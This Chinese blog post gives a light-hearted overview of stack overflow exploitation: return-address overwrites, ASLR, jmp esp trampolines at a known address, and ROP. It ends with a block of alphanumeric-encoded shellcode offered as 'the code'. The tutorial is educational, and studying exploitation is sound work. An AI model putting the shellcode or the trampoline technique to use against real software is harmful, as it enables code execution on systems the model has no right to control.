栈爆了-精要介绍栈溢出相关

本文详细介绍了栈溢出攻击的基本原理和技术手段,包括利用返回地址进行攻击的方法、ASLR等安全措施的应用,以及如何通过ROP技术绕过这些限制实现攻击目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

由于函数的返回地址在栈中,栈溢出会导致程序流程落入攻击者之手.
具体方法是,覆盖返回地址,等着ret执行我们的命令.

返回地址的门道

返回地址为一个固定的地址通往攻击者溢出的数据中这个愿望总是美好的。

小黑:攻击者开始任意执行自己的代码了。

安全厂商说:看我变

简称ASLR全称地址空间布局随机化的方案在安全厂商的推动下开始实施了。随机布局内存中的模块位置使得愿意配合保护的模块能够在内存中变换位置。

小黑:既然不能知道自己部署的攻击代码静态的位置,那么需要一个跳板:
寻找系统中的不愿意配合的模块中的跳板指令,常用的如下:

jmp esp /*著名的7ffa4512*/

call esp

由于call指令和jmp指令认的是相对地址,一切变得容易起来,但是where am i?
使用:

call offset 0

来将下一条指令的地址压栈来达到定位的效果,该技巧美其名曰:基址重定位

不许在栈上执行啊喂

小黑:你没搞错吗?栈溢出不让用栈?我曰
老黑:淡定,你知道有一件兵器叫ROP吗?

ROP-Return Oriented Programming
通过寻找在其他模块中的一串以ret结尾的指令组,用攻击者在栈上的布置的地址使函数执行像滑块一样拼接起来,栈上从没有执行过却提供了所有需要的参数和连接的关键
惊呆了~

决战

Talk is cheap,show me the code!!!

char szFromShellCode[] = 
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb"
"CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP"
"RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK"
"LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK"
"2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL"
"KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh"
"09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu"
"TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5"
"nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3"
"umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7"
"3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK"
"wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p"
"KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v"
"0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t"
"a4ZXVoudWp";

更多细节去欣赏:
栈爆了中的小故事

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值